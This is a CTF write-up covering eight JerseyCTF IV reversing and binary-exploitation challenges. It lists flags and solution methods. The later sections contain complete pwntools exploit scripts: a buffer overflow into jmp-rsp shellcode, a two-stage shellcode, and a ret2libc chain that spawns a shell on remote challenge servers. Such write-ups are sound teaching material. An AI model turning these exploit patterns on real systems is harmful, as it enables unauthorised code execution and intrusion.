JerseyCTF IV rev/bin challenges
I played JerseyCTF with the team S.h.i.c.h.i.b.u.k.a.i and here is the solutions for the challenges from rev/bin category.
Challenges:
- humble-beginnings
- PasswordManager
- searching-through-vine
- MathTest
- the-heist-1
- RunningOnPrayers
- StageLeft
- Postage
humble-beginnings

we are given an exe, just run strings on it to see the flag.
flag: jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu}
PasswordManager

We are given an ELF file, to decompile it we can use IDA.

It doing XOR on the input and comparing this with a string value, we can set a breakpoint on 0x000401DBA
using gdb
to see it.


Flag: jctf{wh3r3s_m@y@?}
searching-through-vines

If we check the source code we can see that if we send bash
as a command we easily escalate from shell check.

Commands in action:

Flag: jctf{nav1gat10n_1s_k3y}
MathTest

This challenge mostly includes integer overflow vuln. Here are the codes to pass to get flag.




To get overflow a integer we can use negate from pwntools. Syntax is negate(number,bits_width)
. since long type is used and the target binary is 64 bit we can use 64 as width.
To pass 36864*x < 0. What is x
condition without entering a negative number we need to overflow long integer. we can do this with negate(36864,64) = 18446744073709514752 since this will overflow it and make negative.
To pass 3735928559 * y = 0. What is y
condition without entering a positive number we need to overflow long integer again. we can do this with -(negate(3735928559,64))=-18446744069973623057 since this will overflow it and make it 0.
Last condition is working on ascii values.
O * z = 'A'. What is z?
O is 79(0x4f) in ascii number and A is 65(0x41). since char is 8 bit long there is another overflow I wrote a small python script to find correct value.
#Final Quesiton
#O * z = 'A'. What is z?
for i in range(255):
if (i*ord('O')&0xff == ord('A')):
print(i,chr(i)) #111 o
So the answer for last is ‘o’ char. But we need to solve the
ans1 + ans2 + ans3 = (long)name
too. Since ans1 becomes -1 and ans2 is 0 we can find the name should be the previous char from ‘o’ which is ‘n’.

Flag: jctf{C4CLULAT0R_US3R}
the-heist-1

After analyzing the decompiled code on ida, I wrote a python script to bruteforce every byte to get the correct one after encryption, since it compares one by one.

Here is the solution script:
from pwn import *
target=p64(0xE383C3B3232383C3)
target+=p64(0x0C33E3A3)
def rol(value, shift):
return ((value << shift) | (value >> (8 - shift))) & 0xFF
def enc(c):
t=(c+96)&0xff
t=(~t)&0xff
t=(rol(t,4))&0xff
t=(t^0x55)&0xff
return bytes([t])
import string
flag=""
for i in range(len(target)):
for c in range(256):
if enc(c)==p8(target[i]):
print(i,chr(c))
flag+=chr(c)
print(flag)
#62881624049
Flag: jctf{62881624049}
RunningOnPrayers

This was an jump to shellcode challenge. Here is the solution script.
from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]
if args.SILENCE:
context.log_level="info"
else:
context.log_level="debug"
elf = ELF("./RunningOnPrayers",checksec=False)
context.arch=elf.arch
gdb_script = """
b *vuln+55
c
"""
if args.REMOTE:
p = remote("18.212.207.74", 9001)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p,gdb_script)
bof_offset=cyclic_find("kaaa")
JMP_RSP = 0x0000000000401231 #: jmp rsp
shellcode=shellcraft.sh()
sc=asm(shellcode)
payload=flat(
"E"*bof_offset,
p64(JMP_RSP), # jmp rsp
b"\x90"*20, # nop slep
sc # shellcode
)
p.sendline(payload)
p.interactive()
#jctf{Really_Obvious_Problem}
Flag: jctf{Really_Obvious_Problem}
StageLeft

This was similar to previous RunningOnPrayers challenge but the first shellcode len is pretty small so I use two stage shellcoding. First one for the reading into ‘rsp’ again to get more shellcode.
from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]
if args.SILENCE:
context.log_level="info"
else:
context.log_level="debug"
elf = ELF("./StageLeft",checksec=False)
context.arch=elf.arch
gdb_script = """
b *vuln+62
c
"""
if args.REMOTE:
p = remote("3.91.151.73",9001)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p,gdb_script)
bof_offset=cyclic_find("kaaa")
JMP_RSP =0x0000000000401238 #: jmp rsp
shellcode= shellcraft.read(0,'rsp',200)
sc=asm(shellcode)
payload=flat(
"E"*bof_offset,
p64(JMP_RSP),
sc
)
log.info(str(len(payload)))
p.sendline(payload)
time.sleep(2)
shellcode= shellcraft.sh()
sc2=asm(shellcode)
payload2=flat(
b"\x90"*30,
sc2
)
p.sendline(payload2)
p.interactive()
#jctf{Center_Of_Attention}
Flag : jctf{Center_Of_Attention}
Postage

This one was a ret2libc attack.
from pwn import *
import warnings
warnings.simplefilter(action='ignore', category=BytesWarning)
context.terminal = ["tmux", "splitw", "-h","-p","60"]
if args.SILENCE:
context.log_level="info"
else:
context.log_level="debug"
elf = ELF("./postage",checksec=False)
context.arch=elf.arch
gdb_script = """
b *vuln+92
b*vuln+238
c
"""
if args.REMOTE:
p = remote("100.25.130.96", 9001)
libc=ELF("./libc.so.6",checksec=False)
else:
p = elf.process()
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
if args.GDB:
gdb.attach(p,gdb_script)
p.recvuntil("Welcome to ")
vuln_leak =int(p.recvline()[:-1],16)
elf.address =vuln_leak-elf.symbols["vuln"]
print("vuln_leak",hex(vuln_leak))
print("elf.address",hex(elf.address))
p.sendlineafter("they are delivered","100")
p.sendline("a") # send non decimal to terminate for loop
bof_offset=cyclic_find("oaaa")
rop_elf=ROP(elf)
RET = rop_elf.find_gadget(["ret"])[0]
rop_elf.raw(RET)
rop_elf.puts(elf.got.puts)
rop_elf.call(elf.sym.vuln)
payload=flat(
cyclic(bof_offset),
rop_elf.chain()
)
p.sendlineafter("Any questions?",payload)
p.recvline()
recieved=p.recvline()[:-1]
puts_leak =u64(recieved.ljust(8, b"\x00"))
libc.address = puts_leak - libc.symbols["puts"]
log.success("puts: "+ hex(puts_leak))
log.success("libc.address: "+ hex(libc.address))
p.sendlineafter("they are delivered","100")
p.sendline("a") # send non decimal to terminate for loop
bof_offset=cyclic_find("oaaa")
rop2 = ROP(libc)
BINSH = next(libc.search(b"/bin/sh\x00"))
rop2.execve(BINSH,0,0)
payload2=flat(
cyclic(bof_offset),
rop2.chain()
)
p.sendlineafter("Any questions?",payload2)
p.interactive()
#jctf{Return_to_Sender}
Flag : jctf{Return_to_Sender}